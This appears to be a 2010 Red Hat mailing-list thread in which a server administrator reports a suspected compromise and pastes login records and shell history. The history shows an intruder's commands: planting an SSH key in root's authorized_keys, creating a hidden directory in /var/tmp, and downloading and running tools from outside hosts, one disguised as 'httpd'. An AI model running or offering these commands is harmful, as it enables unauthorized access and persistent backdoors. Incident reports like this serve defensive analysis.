help

[Joy Methew]

i have changed my root password

On Thu, Jan 28, 2010 at 11:44 AM, Wahyu Darmawan
<Wahyu.Darmawan at ag-it.com>wrote:

> You may change your root password first, and then you can continue to
> analyze your system.
>
> ________________________________________
> From: redhat-list-bounces at redhat.com [redhat-list-bounces at redhat.com] On
> Behalf Of Joy Methew [ml4joy at gmail.com]
> Sent: Thursday, January 28, 2010 12:59 PM
> To: General Red Hat Linux discussion list
> Subject: help
>
> Hello all,
>                    i m using RHEL5.3 as a my mail server with real ip.i
> configure my system mostly remotely.last login time of my system 27 jan
> from   this ip 118.129.153.43.
> than i try to login at 28 jan in morning so i can`t got authentication as
> root from my last password.
> than i reboot the system reset my password.
> i login as a root than i run "last" command i m sending tha first 10 lines
> of last command...i thinks someone hack my system.i am sending history
> command output.
> now i remove .ssh directory and /var/tmp/*
>
> please suggest wat is this??
>
> thanks
>
> last command out put:
> root     pts/1        117.199.118.234  Thu Jan 28 10:58   still logged in
> root     pts/0        117.199.118.234  Thu Jan 28 10:49   still logged in
> root     tty1                          Thu Jan 28 10:48 - 10:52  (00:04)
> reboot   system boot  2.6.18-128.el5PA Thu Jan 28 10:45          (00:25)
> root     pts/2        165.red-79-153-1 Thu Jan 28 01:42 - 01:52  (00:09)
> root     pts/2        165.red-79-153-1 Wed Jan 27 23:02 - 01:27  (02:25)
> root     pts/2        165.red-79-153-1 Wed Jan 27 22:33 - 22:34  (00:00)
> root     pts/3        165.red-79-153-1 Wed Jan 27 22:32 - 22:33  (00:00)
> root     pts/2        118.129.153.43   Wed Jan 27 22:31 - 22:32  (00:01)
> root     pts/2        117.199.114.189  Wed Jan 27 15:47 - 15:51  (00:03)
>
> What is 165.red-79........this is nt my ip.
>
>
> History Output
>
>  115  cat /proc/cpuinfo
>  116  mkdir .ssh
>  117  cd .ssh
>  118  echo ssh-rsa
>
> AAAAB3NzaC1yc2EAAAABJQAAAIBSUxeR1W95aH+iJwXRJaswx6YwqqZPk2BBLaGoJR5vnLARZbpMZzxfjo9wwed/FONEcnZFVo0eTkaZ+xDaC8eDvT0A4gRC2ahK7sCM17nbRvwGdXPIKismvz6Xqp7mLRf+I2jI6xKq8lba96U6uUHtbiaRi814IyJ3Q0It54KBwQ==
> rsa-key-20080201 >> ~/.ssh/authorized_keys; chmod 700 ~/.ssh; chmod 600
> ~/.ssh/authorized_keys
>  119  cd /var/tmp
>  120  mkdir " "
>  121  cd " "
>  122  passwd
>  123  echo ssh-rsa
>
> AAAAB3NzaC1yc2EAAAABJQAAAIBSUxeR1W95aH+iJwXRJaswx6YwqqZPk2BBLaGoJR5vnLARZbpMZzxfjo9wwed/FONEcnZFVo0eTkaZ+xDaC8eDvT0A4gRC2ahK7sCM17nbRvwGdXPIKismvz6Xqp7mLRf+I2jI6xKq8lba96U6uUHtbiaRi814IyJ3Q0It54KBwQ==
> rsa-key-20080201 >> ~/.ssh/authorized_keys; chmod 700 ~/.ssh; chmod 600
> ~/.ssh/authorized_keys
>  124  ps -x
>  125  cd /var/tmp
>  126  w
>  127  wget http://kok.ucoz.de/gosh.tgz
>  128  tar xvf gosh.tgz
>  129  cd gosh
>  130  chmod +x *
>  131  ./go.sh 121
>  132  w
>  133  ps -x
>  134  ps -aux
>  135  cd /var/tmp
>  136  cd " "
>  137  ls -a
>  138  wget http://helpbnc.myftp.org/danger/fld.tgz
>  139  tar xzvf fld.tgz
>  140  cd fld
>  141  chmod +x *
>  142  nano cyc.acc
>  143  nano cyc.acc.1
>  144  nano cyc.set
>  145  ./httpd
>  146  w
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